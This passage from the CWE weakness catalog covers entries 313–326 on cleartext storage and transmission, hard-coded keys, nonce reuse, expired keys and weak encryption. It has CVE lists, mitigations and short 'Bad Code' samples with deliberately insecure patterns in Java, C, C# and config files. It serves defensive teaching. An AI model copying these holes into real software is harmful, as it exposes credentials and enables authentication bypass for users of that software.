CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
37	Lifting Data Embedded in Client Distributions	
169	Footprinting	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft. 2002.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43.. 1st Edition. Addison Wesley. 2006.

[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

## CWE-313: Cleartext Storage in a File or on Disk

Weakness ID: 313 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application stores sensitive information in cleartext in a file, or on disk.

#### Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).



**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Confidentiality**

Read application data

**Demonstrative Examples**

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair.

**Java Example:**

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

**ASP.NET Example:**

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

**Observed Examples**

Reference	Description
CVE-2001-1481	Cleartext credentials in world-readable file.
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2004-2397	Cleartext storage of private key and passphrase in log file when user imports the key.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2209	Password in cleartext in config file.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		312	Cleartext Storage of Sensitive Information	699 1000	553
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage in File or on Disk
Software Fault Patterns	SFP23	Exposed Data

# CWE-314: Cleartext Storage in the Registry

Weakness ID: 314 (Weakness Variant) Status: Draft

**Description**

**Summary**

CWE-314: Cleartext Storage in the Registry

The application stores sensitive information in cleartext in the registry.

### Extended Description

Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Confidentiality

Read application data

### Observed Examples

Reference	Description
CVE-2005-2227	Cleartext passwords in registry key.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	⊕	312	Cleartext Storage of Sensitive Information	699 1000	553
ChildOf	⊖	963	SFP Secondary Cluster: Exposed Data	888	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage in Registry
Software Fault Patterns	SFP23	Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
37	Lifting Data Embedded in Client Distributions	

## CWE-315: Cleartext Storage of Sensitive Information in a Cookie

Weakness ID: 315 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application stores sensitive information in cleartext in a cookie.

#### Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Confidentiality**

Read application data

**Demonstrative Examples**

The following code excerpt stores a plaintext user account ID in a browser cookie.

**Java Example:***Bad Code*


```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

**Observed Examples**

Reference	Description
CVE-2001-1536	Usernames/passwords in cleartext in cookies.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2002-1800	Admin password in cleartext in a cookie.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		312	Cleartext Storage of Sensitive Information	<b>699</b>	553
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage in Cookie
Software Fault Patterns	SFP23	Exposed Data

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
37	Lifting Data Embedded in Client Distributions	
39	Manipulating Opaque Client-based Data Tokens	
74	Manipulating User State	

## CWE-316: Cleartext Storage of Sensitive Information in Memory

**Weakness ID:** 316 (*Weakness Variant*)

**Status:** Draft

**Description****Summary**

The application stores sensitive information in cleartext in memory.

**Extended Description**

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it. It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

**Terminology Notes**

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences




##### Confidentiality

##### Read memory

#### Observed Examples

Reference	Description
BID:10155	Sensitive authentication information in cleartext in memory.
CVE-2001-0984	Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.
CVE-2001-1517	Sensitive authentication information in cleartext in memory.
CVE-2003-0291	SSH client does not clear credentials from memory.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		312	Cleartext Storage of Sensitive Information	<b>699</b>	553
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

#### Relationship Notes

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

#### Affected Resources

- Memory

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage in Memory
Software Fault Patterns	SFP23	Exposed Data

## CWE-317: Cleartext Storage of Sensitive Information in GUI

Weakness ID: 317 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The application stores sensitive information in cleartext within the GUI.

##### Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

#### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

##### Operating Systems

- Windows (*Sometimes*)

#### Common Consequences

##### Confidentiality

##### Read memory

##### Read application data

#### Observed Examples

Reference	Description
CVE-2002-1848	Unencrypted passwords stored in GUI dialog may allow local users to access the passwords.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		312	Cleartext Storage of Sensitive Information		553
				<b>699</b>	
				<b>1000</b>	
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage in GUI
Software Fault Patterns	SFP23	Exposed Data

## CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID: 318 (*Weakness Variant*)

Status: Draft

#### Description

##### Summary

The application stores sensitive information in cleartext in an executable.

##### Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

#### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read application data

#### Observed Examples

Reference	Description
CVE-2005-1794	Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and MITM attacks.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Ⓜ	312	Cleartext Storage of Sensitive Information	699	553
ChildOf	Ⓢ	963	SFP Secondary Cluster: Exposed Data	888	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in Executable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
37	Lifting Data Embedded in Client Distributions	
65	Passively Sniff and Capture Application Code Bound for Authorized Client	

## CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

#### Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

#### Time of Introduction

- Architecture and Design
- Operation
- System Configuration

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Mobile Application

#### Common Consequences

##### Integrity

##### Confidentiality

##### Read application data

##### Modify files or directories

Anyone can read the information by gaining access to the channel being used for communication.

#### Likelihood of Exploit

Medium to High

#### Detection Methods

## Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as *truss* (Solaris) and *strace* (Linux); system activity monitors such as *FileMon*, *RegMon*, *Process Monitor*, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

## Demonstrative Examples

The following code attempts to establish a connection to a site to communicate sensitive information.

### Java Example:

*Bad Code*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

## Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.

## Potential Mitigations

### Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

### Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

### Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.



**Operation**

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		311	Missing Encryption of Sensitive Data		548
				<b>699</b>	
				<b>1000</b>	
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components		1142
ChildOf		818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection		1248
ChildOf		858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	<b>844</b>	1297
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1358
ChildOf		934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	<b>928</b>	1360
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		5	<i>J2EE Misconfiguration: Data Transmission Without Encryption</i>	<b>1000</b>	2
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Transmission of Sensitive Information
CERT Java Secure Coding	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
CERT Java Secure Coding	SER02-J	Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns	SFP23	Exposed Data

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
65	Passively Sniff and Capture Application Code Bound for Authorized Client	
102	Session Sidejacking	
169	Footprinting	
383	Harvesting Usernames or UserIDs via Application API Event Monitoring	
477	Signature Spoofing by Mixing Signed and Unsigned Content	

**References**

OWASP. "Top 10 2007-Insecure Communications". < [http://www.owasp.org/index.php/Top\\_10\\_2007-A9](http://www.owasp.org/index.php/Top_10_2007-A9) >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.

[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

**CWE-320: Key Management Errors**

Category ID: 320 (Category)

Status: Draft

**Description****Summary**

Weaknesses in this category are related to errors in the management of cryptographic keys.

**Applicable Platforms****Languages**

- All

**Observed Examples**

Reference	Description
CVE-2000-0762	default installation of product uses a default encryption key, allowing others to spoof the administrator
CVE-2001-0072	Exposed or accessible private key (overlaps information exposure) -- Crypto program imports both public and private keys but does not tell the user about the private keys, possibly breaking the web of trust.
CVE-2001-1527	administration passwords in cleartext in executable
CVE-2002-1947	static key / global shared key -- "global shared key" - product uses same SSL key for all installations, allowing attackers to eavesdrop or hijack session.
CVE-2005-1794	Exposed or accessible private key (overlaps information exposure) -- Private key stored in executable
CVE-2005-2146	insecure permissions when generating secret key, allowing spoofing
CVE-2005-2196	static key / global shared key -- Product uses default WEP key when not connected to a known or trusted network, which can cause it to automatically connect to a malicious network. Overlaps: default.
CVE-2005-3256	Misc -- Encryption product accidentally selects the wrong key if the key doesn't have additional fields that are normally expected, allowing the owner of the wrong key to decrypt the data.
CVE-2005-4002	static key / global shared key -- "global shared key" - product uses same secret key for all installations, allowing attackers to decrypt data.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	<b>C</b>	310	Cryptographic Issues	<input checked="" type="checkbox"/>	699 547
ChildOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure		928 1360
ParentOf	<b>B</b>	321	Use of Hard-coded Cryptographic Key		699 565
ParentOf	<b>B</b>	322	Key Exchange without Entity Authentication		699 567
ParentOf	<b>B</b>	323	Reusing a Nonce, Key Pair in Encryption		699 568
ParentOf	<b>B</b>	324	Use of a Key Past its Expiration Date		699 569

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Key Management Errors

### Maintenance Notes

This category should probably be split into multiple sub-categories.

## CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.

#### Likelihood of Exploit

High

## Demonstrative Examples

The following code examples attempt to verify a password using a hard-coded cryptographic key.

### C/C++ Example:

*Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

### Java Example:

*Bad Code*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

### C# Example:

*Bad Code*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

## Potential Mitigations

### Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

### Other Notes

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	320	Key Management Errors		699 564
ChildOf	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	<b>629</b>	1114
ChildOf	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1115
ChildOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>711</b>	1119
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	<b>699</b>	1219
ChildOf	<b>C</b>	950	SFP Secondary Cluster: Hardcoded Sensitive Data	<b>888</b>	1372
PeerOf	<b>B</b>	259	Use of Hard-coded Password	1000	459
CanFollow	<b>B</b>	656	Reliance on Security Through Obscurity	1000	1015

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
Software Fault Patterns	SFP33		Hardcoded sensitive data

## CWE-322: Key Exchange without Entity Authentication

Weakness ID: 322 (Weakness Base)

Status: Draft

### Description

#### Summary

The software performs a key exchange with an actor without verifying the identity of that actor.

#### Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.

##### Confidentiality

##### Read application data

The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.

#### Likelihood of Exploit

High

#### Demonstrative Examples

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

#### Potential Mitigations

##### Architecture and Design

Ensure that proper authentication is included in the system design.

##### Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

#### Relationships

Nature	Type	ID	Name	<input type="checkbox"/>	Page
PeerOf		295	Improper Certificate Validation	<input type="checkbox"/>	1000 521
ChildOf		320	Key Management Errors	<input type="checkbox"/>	699 564
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	<input type="checkbox"/>	1000 1349
ChildOf		959	SFP Secondary Cluster: Weak Cryptography	<input type="checkbox"/>	888 1375
MemberOf	<input type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 1319

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Key exchange without entity authentication

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37.. 1st Edition. Addison Wesley. 2006.

# CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

Nonces should be used for the present occasion and only once.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.

### Likelihood of Exploit

High

### Demonstrative Examples

#### Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

#### C Example:

*Bad Code*

```
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

#### Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

#### C++ Example:

*Bad Code*

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
```

```
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

### Potential Mitigations

#### Implementation

Refuse to reuse nonce values.

#### Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

### Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	320	Key Management Errors	<b>699</b>	564
ChildOf	<b>B</b>	344	Use of Invariant Value in Dynamically Changing Context	<b>1000</b>	599
ChildOf	<b>C</b>	959	SFP Secondary Cluster: Weak Cryptography	<b>888</b>	1375
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Reusing a nonce, key pair in encryption

## CWE-324: Use of a Key Past its Expiration Date

Weakness ID: 324 (Weakness Base)

Status: Draft

### Description

#### Summary

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

#### Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.

### Likelihood of Exploit

Low

### Demonstrative Examples

The following code attempts to verify that a certificate is valid.

**C/C++ Example:**

Bad Code

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
        //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

**Potential Mitigations****Architecture and Design**

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

**Relationships**

Nature	Type	ID	Name	V	Page
PeerOf	V	298	Improper Validation of Certificate Expiration	1000	527
ChildOf	C	320	Key Management Errors	699	564
ChildOf	B	672	Operation on a Resource after Expiration or Release	1000	1039
ChildOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1375
PeerOf	V	262	Not Using Password Aging	1000	466

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
CLASP	Using a key past its expiration date

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

## CWE-325: Missing Required Cryptographic Step

Weakness ID: 325 (Weakness Base)

Status: Incomplete

**Description****Summary**

The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

**Extended Description**

Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

**Time of Introduction**

- Architecture and Design
- Requirements

**Applicable Platforms****Languages**

- All

**Modes of Introduction**

Developers sometimes omit certain "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or CPU cycles. This could be done under a mistaken impression that the step is unnecessary for preserving security. Alternately, the developer might adopt a threat model that is inconsistent with that of its consumers by accepting a risk for which the remaining protection seems "good enough."

This issue can be introduced when the requirements for the algorithm are not clearly stated.

**Common Consequences**



### Access Control

#### Bypass protection mechanism

If the cryptographic algorithm is used for authentication and authorization, then an attacker could gain unauthorized access to the system.

### Confidentiality

#### Integrity

#### Read application data

#### Modify application data

Sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

### Accountability

#### Non-Repudiation

#### Hide activities

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.

### Observed Examples

Reference	Description
CVE-2001-1585	Missing challenge-response step allows authentication bypass using public key.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	310	Cryptographic Issues	699	547
PeerOf	B	358	Improperly Implemented Security Check for Standard	1000	621
ChildOf	G	573	Improper Following of Specification by Caller	1000	910
ChildOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1114
ChildOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1115
ChildOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
ChildOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1375
MemberOf	V	884	CWE Cross-section	884	1319

### Relationship Notes

Overlaps incomplete/missing security check.

Can be resultant.

### Functional Areas

- Cryptography

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Required Cryptographic Step
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
68	Subvert Code-signing Facilities	

## CWE-326: Inadequate Encryption Strength

Weakness ID: 326 (Weakness Class)

Status: Draft

### Description

#### Summary

The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

#### Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Confidentiality

#### Bypass protection mechanism

#### Read application data

An attacker may be able to decrypt the data using brute force attacks.

### Observed Examples

Reference	Description
CVE-2001-1546	Weak encryption
CVE-2002-1682	Weak encryption
